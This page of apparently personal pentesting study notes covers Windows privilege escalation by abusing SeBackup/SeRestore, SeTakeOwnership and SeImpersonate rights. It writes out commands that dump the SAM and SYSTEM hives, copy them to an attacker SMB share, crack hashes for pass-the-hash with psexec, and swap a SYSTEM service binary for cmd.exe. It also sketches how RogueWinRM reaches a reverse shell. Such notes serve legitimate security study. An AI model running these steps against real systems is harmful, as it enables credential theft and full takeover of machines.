🖥️
Offensive security concepts
  • Introduction
  • 💿Virtualbox network setup
    • What is VirtualBox?
    • NAT
    • NAT network
    • Bridged adapter
    • Internal network
    • pfSense
    • vboxmanage
    • Overview
  • 🕵️OSINT
    • What is OSINT?
    • Google dorks
    • Metadata
    • Social media
      • osintagram
  • Tools
    • waybackurls
    • recon-ng
    • sherlock
    • maltego
    • theHarvester
    • photon
  • 😨Social Engineering
    • What is social engineering?
    • 7 tricks of social engineering
    • Email phishing
    • Typosquatting
    • Compiled resources
  • 😈MitM attack
    • What is MitM attack?
    • ARP spoof/poison
    • DNS spoof/poison
    • HTTP MitM attack
    • ICMP redirect attack
    • DHCP spoofing
    • Evil twin attack
    • Experiment (guest network)
    • Compiled resources
  • 🔌UPnP exploitation
    • What is UPnP?
    • What is SSDP?
    • IGD functions
    • LAN devices
    • Compiled resources
  • Network Reconnaissance & Attacks
    • What is network recon & attacks?
  • 1️⃣Network live host discovery
    • What is network live host discovery?
    • nmap
    • arp-scan
    • masscan
  • 2️⃣Network port scan/services enumeration
    • What is network port scan/services enumeration?
    • nmap
    • netcat
  • 3️⃣Network services vulnerability scanning & exploitation
    • What is network vulnerability scanning/exploitation?
    • 20/21 ~ FTP
    • 22 ~ SSH
    • 25 ~ SMTP
    • 53 ~ DNS
    • 80/443 ~ HTTP/HTTPS
    • 110 ~ POP3
    • 111/2049 ~ RPC/NFS
    • 139/445 ~ SMB
    • 143 ~ IMAP
    • 3389 ~ RDP
  • Vulnerability & exploitation
    • Database
    • Metasploit
    • Msfvenom
  • Misconfigurations
    • .DS_Store
  • Web Application Penetration Testing
    • Introduction
    • Web Content Discovery
      • Directories/URLs gathering
      • Subdomain enumeration
    • File inclusion & Path traversal
    • Insecure Direct Object Reference (IDOR)
    • Upload vulnerabilities
      • File extension cheat-sheet
    • SSRF
    • CSRF
    • XSS
    • SSTI
    • SQL injection
      • Filter evasion techniques
      • Practical challenge examples
        • TryHackMe
          • TryHackMe Burp suite: Repeater room
          • TryHackMe Advanced SQL Injection
  • Authentication/session management
    • OWASP WSTG-SESS-10 ~ JSON Web Token (JWT)
    • OWASP WSTG-ATHZ-05 ~ OAuth weaknesses
  • Webshell
  • Web API pentesting
    • Resources
    • Methodology
    • jq
    • httpx
    • ParamSpider
  • Web app pentesting methodology
  • OWASP
    • OWASP top 10
    • OWASP API top 10
    • Web Security Testing Guide (WSTG)
      • WSTG-ATHZ
        • WSTG-ATHZ-05 ~ OAuth weaknesses
      • WSTG-SESS
        • WSTG-SESS-10 ~ JWT
  • General web knowledge
    • URI standard (RFC 3986)
    • HTTP headers
  • 🛣️Attacks on routing protocols
    • What are attacks on routing protocols?
    • BGP hijacking
  • 🏕️To explore
    • MQTT
    • Routersploit
    • DNS rebinding attack
    • LLMNR/mDNS poisoning
  • 👤Anonymity
    • VPN
    • Proxychains
    • TOR
    • Obfuscation
  • Credentials brute-force/cracking
    • Introduction
    • Windows SAM database
    • Dictionary attack
    • Rainbow attack
      • Hash database
    • Tools
      • Hydra
      • John the ripper
      • Hashcat
      • hash-identifier
  • Post-exploitation
    • Gaining shell
      • netcat
      • socat
      • powershell
      • bash
      • PHP
    • Repository
  • Privilege escalation
    • Linux
      • Repositories
      • Enumeration
      • Vulnerabilities exploit
        • General
        • Kernel exploit
        • Sudo
        • SUID
        • Capabilities
        • Cronjobs
        • $PATH
        • NFS (target-machine)
        • Filesystem sharing
          • NFS (attacker-machine)
    • Windows
      • Password harvesting
      • Vulnerabilities exploit
        • Scheduled tasks
        • AlwaysInstallElevated
        • Service misconfigurations
          • Insecure permissions on service executable
          • Unquoted service path
          • Insecure service permission
        • Abusing privileges
  • Ⓜ️MITRE ATT&CK
    • Introduction
  • 🧰Tools/services
    • Introduction
    • Web application pentesting
      • Web discovery/fuzzing
        • paramspider
        • arjun
        • katana
      • uro
      • Password brute-forcing
      • Burp Suite (Community)
      • scanners
        • ZAP (Zed Attack Proxy)
        • nikto
        • nuclei
    • Information gathering/reconnaissance
    • Network recon & attacks
      • nmap (general overview)
      • scapy
      • bettercap
    • General
      • impacket
    • Wordlists
      • cewl
  • Professional report writing
    • Report template
      • Web applicaton pentesting
        • OWASP report layout
  • Tasks on-the-go
    • Note taking on-the-go
    • Other tips
  • Practice
    • Web Application Pentesting
      • OWASP
        • OWASP Juice Shop
        • OWASP Mutillidae II
        • OWASP Hackademic
      • Vulnhub
        • ...
      • Damn Vulnerable Web Application (DVWA)
    • Metasploitable 2
  • Operational Security (OpSec)
    • Hardening
      • General
      • Oracle VirtualBox
      • Web Browser
      • VPN/Proxy
  • Safe document viewer
    • PDF
    • .docx
  • Write-ups
    • TryHackMe
      • Silver Platter
      • Light
      • Pickle Rick
      • Hammer
        • Enumeration (active recon)
          • /hmr
          • Further directory discovery
          • /phpmyadmin
          • burp suite sitemap
        • Brute forcing 4-digit code
        • Retrieving the flag
      • OWASP Top 10 - 2021 (task 22)
      • sqlmap
    • OverTheWire
      • Untitled
    • OWASP
      • OWASP Juice Shop
      • OWASP WebGoat
  • AI prompt
    • ChatGPT
Powered by GitBook
On this page
  • SeBackup / SeRestore
  • SeTakeOwnership
  • SeImpersonate / SeAssignPrimaryToken
  1. Privilege escalation
  2. Windows
  3. Vulnerabilities exploit

Abusing privileges

PreviousInsecure service permissionNextIntroduction

Last updated 5 months ago

To view the privileges of the current user:

C:\> whoami /priv

SeBackup / SeRestore

The impacket tool can be used to perform various tasks such as starting a SMB server, dumping secrets from hives in the Windows registry, and running commands with psexec, among many others.

Refer to my impacket notes for more information:

Suppose we have gained a remote shell on a server with the SeBackUp and SeRestore privileges

C:\target> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled

Due to the set privileges, we are able to save the contents of the SAM and SYSTEM hive registry to a location of our choice (C:\Users\jarrett\system.hive and C:\Users\jarrett\sam.hive in this case):

C:\target> reg save hklm\system C:\Users\jarrett\system.hive
C:\target> reg save hklm\sam C:\Users\jarrett\sam.hive

The command below starts a simple SMB server on the attacker machine with a network share named public pointing to the share directory. This allows us to transfer the files from the target machine to the attacker at a particular share point (share folder).

Attacker machine

attacker@attacker_ip:~$ impacket-smbserver -smb2support -username jarrett -password mynamejeff public share

The command below copies the content of system.hive and sam.hive at the specified directory to the share point on the attacker machine.

Target machine

C:\target> copy c:\users\jarrett\system.hive \\<attacker_ip>\public\
C:\target> copy c:\users\jarrett\sam.hive \\<attacker_ip>\public\

The next few commands should be ran from the attacker machine

The command below dumps the hashes from the sam.hiveand system.hivefiles present on the current folder (specified by the LOCAL target option).

attacker@attacker_ip:~/share$ ls 
sam.hive system.hive

attacker@attacker_ip:~/share$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket vxxx - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
...:::
Guest:xxx:xxx:xxx::
Administrator:xx12xx:xx34xx::
...

The command below uses the hashes found from the impacket-secretsdump command above, to authenticate as the administrator user. This provides us with a remote shell as the administrator user on the target Windows machine

attacker@attacker_ip:~/share$ impacket-psexec -hashes xx12xx:xx34xx administrator@10.10.x.x
...

C:\Windows\system32> 

SeTakeOwnership

This permission allows a user to take ownership of any object on the system, including files and registry keys.

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                              State
============================= ======================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
...

Suppose we have found a service on the target system that executes an.exefile with SYSTEM privileges (an example would be utilman.exe). Let's name that file rand.exe. Due to our SeTakeOwnership privilege, we are able to take ownership of that file with the command below:

C:\> takeown /f C:\Windows\System32\priv.exe

At this point, we are able to provide ourselves any privileges we need over the file. The command below gives our current user (jarrett) full access(F)to the priv.exe file at the specified location.

C:\> icacls C:\Windows\System32\priv.exe /grant jarrett:F

Finally, we can copy any file of choice to the target file we have full access to:

Take note to be in the correct file directory when using the terminal, or optionally provide the correct path

The command below copies the cmd.exe file topriv.exe:

C:\Windows\System32\> copy cmd.exe priv.exe

This provides us with a command prompt with SYSTEM privileges whenever the particular service mentioned above is started.

SeImpersonate / SeAssignPrimaryToken

  • SeImpersonate: Privilege that allows a user to impersonate another user’s security context

  • SeAssignPrimaryToken: Privilege that allows assignments of a new security token to a process. This allows that process to impersonate a higher-privileged user (such as SYSTEM).

Breakdown of how the RogueWinRM exploit tool works (As of time of writing, I wasn't able to find a comprehensive technical guide on how it works. However, I have pieced together the key points from research on the main concepts involved in this exploit):

  1. The Background Intelligent Transfer Service (BITS) is started, which automatically initiates a connection to port 5985 (used by WinRM) using SYSTEM privileges.

    • Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network.

    • The SYSTEM-level authentication credentials can be captured from the above-mentioned connection to WinRM on the local target machine (port 5985)

  2. The captured authentication credentials can be used to execute a malicious payload of choice (specified as argument to the RogueWinRM tool) with SYSTEM-level privileges. This is due the SeImpersonate and SeAssignPrimaryToken privileges being set on the user on the target machine

    • A reverse shell connection can be established to a remote attacker server, essentially providing a SYSTEM-level shell

Windows privileges to admin list

impacket | Penetration testing/ethical hacking
takeownMicrosoftLearn
Logo
GitHub - antonioCoco/RogueWinRM: Windows Local Privilege Escalation from Service Account to SystemGitHub
Background Intelligent Transfer Service - Win32 appsdocsmsft
BITS service
Logo
GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS.GitHub
Logo
Logo
Logo